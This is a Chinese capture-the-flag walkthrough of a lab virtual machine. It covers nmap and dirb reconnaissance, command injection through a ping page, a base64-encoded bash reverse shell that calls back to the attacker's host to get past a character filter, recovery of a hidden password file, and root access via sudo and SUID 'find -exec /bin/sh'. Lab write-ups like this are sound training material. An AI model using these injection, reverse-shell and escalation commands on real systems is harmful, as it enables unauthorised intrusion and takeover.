1.探测靶机ip地址
ip a

netdiscover -i eth0 -r 192.168.100.0/24

可以看到靶机地址为192.168.100.8
2.nmap进行靶机端口服务扫描
nmap -sS -Pn -A -p- -n 192.168.100.8
-sS SYN 扫描,半连接
-Pn 跳过Ping扫描阶段
-A 全面扫描
-p- 全端口
-n 禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间
可以看到靶机只开放了一个80/http端口服务

3.根据端口服务进行信息收集
80/http端口
我们访问下80页面进行下信息收集:查看源码、dirb扫描
由于靶机没开放22端口,猜测下应该是命令执行漏洞

网站首页写着“假的管理员站点”,保守起见,还是先目录扫描一下,看看能不能找到真的管理员站点。
目录扫描
dirb http://192.168.100.8

挨个访问看下
http://192.168.100.8/admin
是张宣传图片


源代码一无所获
普通的目录扫描,只发现了/admin,但没啥用,纯静态网页,换用大字典试试
dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt

还是没看到什么新目录
再加个后缀试试(这里的考虑是 index是.php的,试试加个.php的后缀)
dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt -X .php

发现个新页面
http://192.168.100.8/superadmin.php

看到“ping”查询的时候,已经可以确定是命令执行漏洞了
4.命令执行
查看受限制的内容都是有哪些,使用命令:|cat superadmin.php

";","&&","/","bin","&"," &&","ls","nc","dir","pwd"
1.kali
目录分隔符被过滤了可以将反弹shell的命令使用base64加密之后再执行
echo "bash -i >& /dev/tcp/192.168.100.4/1234 0>&1" | base64

开启nc监听
nc -lvnp 1234
2.靶机
|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC40LzEyMzQgMD4mMQo=" | base64 -d | bash

3.反弹shell成功
查看下所有用户

有3个用户,去各自用户下面看看
(1)yash用户

得到一个提示
Due to some security issues,I have saved haclabs password in a hidden file.
由于一些安全问题,我将haclabs的密码保存在一个隐藏文件中。
继续查看下yash用户下所有的文件
find / -user yash

也可以去除报错信息
find / -user yash 2>/dev/null

可以看到/usr/share/hidden/.passwd中应该是存放着密码
查看隐藏文件passwd
cat /usr/share/hidden/.passwd
得到密码haclabs1234

(2)haclabs用户
知道了haclabs用户的密码,使用su切换到haclabs用户

但遇到了一个问题
su: must be run from a terminal
这时候需要切换交互式shell
我们知道可以通过python提供的pty模块创建一个原生的终端
python3 - c 'import pty; pty.spawn("/bin/bash")'

切换haclabs
www-data@haclabs:/var/www/html$ su haclabs
su haclabs
Password: haclabs1234
haclabs@haclabs:/var/www/html$
在haclabs的用户目录下看到flag2.txt
haclabs@haclabs:/var/www/html$ cd /home
cd /home
haclabs@haclabs:/home$ ls
ls
haclabs yash
haclabs@haclabs:/home$ cd haclabs
cd haclabs
haclabs@haclabs:~$ ls
ls
Desktop Downloads Music Public Videos
Documents flag2.txt Pictures Templates
haclabs@haclabs:~$ cat flag2.txt
cat flag2.txt
I am flag2
--------------- ----------------
--------
haclabs@haclabs:~$
(3)root用户
使用sudo提权
ls -al

可以看到当前目录下有sudo_as_admin_successful
sudo -l

find命令不需要密码
sudo find . -exec /bin/sh \; -quit

使用suid提权
查看suid文件
find /usr -perm -u=s -type f 2>/dev/null

进行提权
find . -exec /bin/sh -p \; -quit
进入到root目录下可以看到flag3.txt

5.靶机总结
-
nmap扫描
-
dirb目录扫描
-
分析php漏洞
-
绕过命令执行漏洞
-
反弹SHELL
-
搜索隐藏文件
-
linux sudo提权
-
















请登录后查看评论内容